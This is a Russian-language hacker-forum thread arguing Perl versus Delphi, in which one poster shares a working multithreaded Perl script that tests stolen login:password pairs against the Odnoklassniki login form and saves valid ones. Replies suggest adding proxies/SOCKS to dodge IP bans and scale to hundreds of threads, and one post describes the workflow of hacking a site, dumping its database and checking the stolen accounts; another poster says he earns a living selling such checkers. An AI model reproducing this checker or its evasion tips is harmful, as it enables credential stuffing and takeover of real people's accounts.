По-моему Perl не подойдет для решения "тяжелых" задач. Да и клиенту также нужен интерпретатор для запуска скриптов, который весит немало.
Ну получается не от Delphi зависит, а от именно писателя. У Delphi круг применения более широк по сравнению с perl(да да, как и сказали, perl был придуман для форматирования текста) от туда и кода больше, но perl интерпретированный язык(мне видно религия не позволяет их использовать, хотя сам больше яву люблю) - нагрузки на комп больше будет. Можно много чего красиво написать, но не оптимально.
многопоточный чекер одноклассников. время разработки 15 минут в блокноте, и мне как бы плевать что оно интерпретируемое , и оно не учат в школе. интересно мне посмотреть на такой же код на делфи с интерфейсом, и с тяжелыми нагрузками. Code: use threads; use threads::shared; use warnings; use LWP::UserAgent; my $accs = 'accs.txt' ; my $threads = 5; open (FILE , "<accs.txt"); chomp(my @accs : shared = <FILE>);close FILE; my @trl = (); $trl[$_] = threads->create(\&begin) for 0..$threads - 1; $_->join for @trl; sub begin { while(@accs) { my $ua = agent(); my ($login,$pass) = split /:/ =>shift @accs; my $page = $ua->get('http://www.odnoklassniki.ru/')->content; if ($page =~ /cmd=anonymLogin\&tkn=(\d*)" method="post"/) { $page = $ua ->post('http://www.odnoklassniki.ru/dk?cmd=AnonymLogin&st.cmd=anonymLogin&tkn='.$1 , [ 'st.redirect' => '' , 'st.posted' => 'set' , 'st.email' => $login , 'st.password' => $pass , 'st.fJS' => 'enabled' , 'st.screenSize' => '1360 x 768' , 'st.browserSize' => 576 , 'st.flashVer' => '10.1.102' , 'button_go' => '%D0%92%D0%BE%D0%B9%D1%82%D0%B8' ])->as_string; if($page =~ /Set-Cookie: JSESSIONID=/) { print "$login:$pass:good\n"; open(FILE2 , ">>good.txt");print FILE2 "$login:$pass\n";close FILE; } else { print "$login:$pass:bad\n"; } } } } sub agent { my $ua = LWP::UserAgent->new; $ua->cookie_jar({}); $ua->timeout( 20 ) ; return $ua; }
dpe_x 1. Скрипт практически нерабочий, после пары десятков невалидных акков IP будет забанен, а скрипт будет лихорадочно пытаться что-то там начекать, получать в ответ 204 No content, и никаких проверок на это нету - или это так принято писать в скриптовых языках - без проверок? 2. Опять же нет прокси/соксов, если бы были то можно было бы запустить в 500 потоков и посмотреть расход памяти и проц. времени. 3. Я не пишу между букв и между строк. Моя претензия к перлу - медленность, а не компактность кода/скорость разработки. Для чего Вы это писали вообще? Написав скрипт сомнительного качества за 15 минут Вы доказали что перл быстр? 4. У меня даже не установлен перл, а вот программ на дельфи с 10 наберется. Ну да, наверное потому, что все используют перл для разработки прикладного ПО на виндоус, не так ли? 5. Советую пересмотреть подход к выбору инструментов для решения задач. 6. В скрипте вы получаете много ненужного контента - что прямо говорит о неумении оптимизировать сетевые приложения. Или, опять, скорость написания важнее? Резюмируя: этим постом Вы только еще раз подтвердили для чего нужен перл в такой категории задач: написать простой скрипт для себя на коленке за 15 минут чтобы решить простую задачу. Идти с этим на рынок - только курам на смех. Вот когда в 500 потоков скрипт сможет без перебоев прочекать 200 к акков, тогда и напишем оду перлу.
не знаю чем я тебя так рассмешил. это был всего лишь пример, и все недостатки которые ты указал решаются еще добавлением строк 20 и примерно 10 минут по времени. а если не на коленке и за час?
Ну а смысл вообще какой? Gar|k удивился почему тут все пишут на дельфи GhostOnline высказал мнение что это скорее всего связано с быстрым созданием гуев и нативностью и компилируемостью оного на что, dpe_x начал писать какой-то код, чтобы доказать что перл быстрее или что? Я ведь, перечислял достоинства которые есть у дельфи, и указал один существенный для меня недостаток перла. Вы хотите оспорить перечисленное? Нет? Тогда до свидания.
Tip.the.besT - поставь локальный сниффер, и заснифай запрос - тот что шлет твоя программа и тот что шлет в аналогичной ситуции браузер. Разница между запросами и будет твоей "проблемой"
Всем всем всем выше отписавшимся ) во первых, Perl по умолчанию есть в любой UNIX системе... зачем нагружать собственный домашний комп, если на то есть сервера с гигабитными каналами? Какиеж из вас блин хакерцы, которые палевно и тупо запускают брут со своей машины (и не надо мне рассказывать про дедики). Мне кажется для вас поиметь шелл на серваке - это что-то запредельное... во вторых, я и не предлагал никому писать СЕРВЕР на perl, хотя намутить по-быстрому бекдор на нем запросто. в третьих, я написал что PERL больше подходит для решения именно ЭТОЙ задачи - парсинг HTML и прочая белеберда связанная с HTTP проктолом 2 solo - как раз в блокноте это и пишется хех, а чтобы запустить в windows нужен AсtivePerl, в UNIX ничо не надо там все есть ) 2 patcher, Jingo Bo да хоть на чем можно написать, главное что бы мозг был, НО я считаю что с задачей разбора текста = парсинга HTML кода, лучше чем не PERL ты не сделаешь - язык родоначальник регулярных выражений, регулярки основная его задача (была, когда-то) 2 GhostOnline - все бы тебе GUI виндузятник хех, все бы тебе на кнопочки нажимать. Ты не представляешь насколько могут быть удобны конфиг файлы, в которых не только параметры можно настроить, а даже логику выбора. Типа если эта ситуация эти параметры, другая эти... за примером далеко ходить не буду тот же системный зарузчик Grub, все меню загрузки и опции прописываются в конфиге и тебе решать как все будет работать и выглядеть - красота? красота! Не буду холивар разводить по поводу Delphi VS C, быстрее системы программа работать не будет, НО опять таки замечу аналогичные программы на Delphi работают медленней. пример моя версия читалки истории и первая версия дамп агента SOLON7, у меня 45 метровый файл анализ 3 секунды, у SOLON7 ждал минут 10, ибо написал он через жопу - почему? ответ: делфи это RAD - среда быстрого программирования - нажал туда нажал сюда и оп чето там как то работает... а как никто не знает (не все есть хорошие люди) GhostOnline - 500 потоков... блин... параллельно будут ВОЗМОЖНО работать только N потов (N= количество процессоров), а твои 500 потоков только тормозить будут из-за переключения туда сюда контекстов (регистров проца и оп кодов, но опять таки современные процы такая жуть, что тут не буду спорить) "Оно интерпретируемое, и предназначено не для нагруженной работы." - скрипт на питоне за щитаные секунд удалил мне дубли в 100 мб файле (сам охренел) "Опять же нет прокси/соксов" - 5 строк кода, 3 на загрузку из файла в массив, 2 на подключение ) "Идти с этим на рынок - только курам на смех" - ахаха, покажи мне дурака, кто у тебя купит программу чекер аккаунтов на сайте. (лично для меня это смех, я бы даже отговорил покупателя страдать херней) "все используют перл для разработки прикладного ПО" - кто тебе сказал, что мы с dpe_x собрались на нем программы для ушастых виндузятников писать? Люди опомнитесь подобный "СОФТ" чекеры херекеры - испокон веков был для СЕБЯ, просто чтобы отсеять ненужный хлам добытый разбойным путем. Похекал сайт слил базу данных, залил скрипт туда же, прошелся чеком по аккаунтом пароли не совпадают удалил не нужные. Поэтому-то и за 15 минут на коленке, кому в голову придет ОПТИМИЗИРОВАТЬ и заботится о нагрузке на это дело... ужс
[/QUOTE] А кто тут вообще писал "Я запускаю сетевой софт на домашнем компе"? Что за бред вообще? Какие нахер дедики, ты о чем? Какой брут со своей машины? Есть серваки в аренду, зачем что-то ломать? И я никогда не стремился быть "хакером", программировать мне больше нравится. А я написал что он плохо подходит для больших нагрузок, не более того. Не мне - клиенту это надо. Если ты программист, это не значит что и твои пользователи также филигранно обращаются с консолью. И люди любят удобство. Кстати те же конфиги в нормальном софте также сохраняются/загружаются, то бишь юзер один раз настроил в гуях и все, потом меняет настройки по необходимтости. Это все понятно, но альтернативы тут нету. Если нужно выполнить 100к транзакций в час а блокирующая работа с сетью да еще через соксы этого не позволяет приходится так изъебываться. Одно время практиковал асинхронные сокеты, но при сложном функционале софта код сильно усложняется, его трудно поддерживать, а особого уменьшения накладных расходов не заметил, и вернулся к многопоточной модели. Мда, видимо ты вообще не в теме. Меня подобного рода софт кормит полтара года, больше нигде не работаю. А уж сколько такие "дураки" зарабатывают ты даже наверное не представляешь. Вернее, в моем случае получается это один постоянный "дурак", хехе. Ок, пишите для себя. Только таким программированием не заработаешь. Ну у кого для себя, а у кого для других. Что из себя представляют самые распостраненные языки программирования я и так знал. Потратил зря 15 минут. И для этого всего у меня есть C#.
тебе про функционал, удобство, скорость разработки - а ты как бы впарить очередную красивую безделушку школьникам из "социальных сетей".
2 GhostOnline - тебе об одном, а ты в свою степь. сравнил жопу с пальцем, как говориться. загибаешь в сторону "PERL - для написания GUI приложений под windows...", хотя я думаю ты даже не представляешь сколько замечательных программ под linux написаны на python + QT (посмотри интерфейс ubuntu netbook remix - да, да это он питон хех) "я никогда не стремился быть "хакером"" - вообще насколько мне известно ачат типа "хакерский" форум (типа), или уже тут таких осталось только в приватах. HTTP + HTML - область веб программирования, и чо вы лезете сюда с компилируемыми языками, не представляя, как функционирует сайт и как банально посмотреть в коде имена и метод отправки формы, лично я, как веб-кодер, не понимаю. Для меня это полный изврат, еще бы сайты на Delphi писали ) в общем, бе-бе-бе все равно у меня пиписька длиннее! Tip.the.besT 1. Прочитай книжку по языку Delphi 2. Сделай сам HTML страничку 3. Прочитай RFC по HTTP протоколу 4. Научись пользоваться сниффером. на худой конец плагином FF 5. Прочитай статью о работе в Delphi по HTTP протоколу (которых тонны сейчас в инете) 6. Не задавай глупых вопросов, а если они возникнут вернись к пункту 1
Это просто пездец. В теме про дельфи приплели сюда зачем-то перл, а потом "тебе об одном, а ты в свою степь". И, про PyQt я в курсе. Как я уже писал с возможностями самых популярных языков знаком, стараюсь не ограничивать кругозор. А ты, перепиши mail.ru History Header на скриптовом языке, ога. PS вообще имхо если бы тут был вопрос про Си, то ты про перл даже не вспомнил. Не буду дальше флудить скажу одно - как я на дельфи не полезу писать системное, так и не буду писать прикладное требующее нагрузок на перле. В обоих случаях получится говно. А фанатам перла посоветую не жить по принципу "Когда в руках есть молоток, все задачи кажутся гвоздями".
К чему этот бесполезный холиварный срачь? Или это новый метод заставит нубов бежать в ужасе с ачата, не задавая нубских вопросов?
GhostOnline, mail.ru History Header на скриптовом - когда я начинал анализ файла первая версия была на php, так удобней мне было и быстрей для понимания. после оптимизировал алгоритм и написал на Си. А так без проблем можно и переписать и сделать веб сервис - смысла нет. Ваше я написал почему в делфовую тему я лезу со скриптовыми языками - не ваше это дело веб "Как я уже писал с возможностями самых популярных языков знаком" - а я пишу на них и могу сравнивать, что лучше подходит для конкретной задачи, так что моя пиписька длиннее!
Этим я бесспорно занимаюсь. Но форум для того и существует,что бы задавать вопросы. И зачем тратить 2 дня на на такую маленькую проблему, перечитывая тонну литературы. Тем более мне привели пример пост запроса, я его впитал и вполне даже разобрался. З.Ы. Почитав твои посты я пришёл к выводу тебя хлебом не корми, дай покритиковать.
Tip.the.besT "мне привели пример" - за тебя написали код конкретно под твою задачу, столкнешься ты чуть с другой формой авторизации, снова полезешь на форум задавать вопросы. Вот для этого и нужно прочитать не так уж много литературы. Поверхностные знания - не есть хорошо. Какой из тебя программист если ты даже не знаешь алгоритм сортировки методом пузырька )
Нет так уж давно я и программировать начал. Так, что программист из меня никакой)) Но меня действительно поразило когда ты сказал что я смогу сделать get запрос, может и сделал, но всем не показал. Как будто тайна за которую кучу бабла вывалят...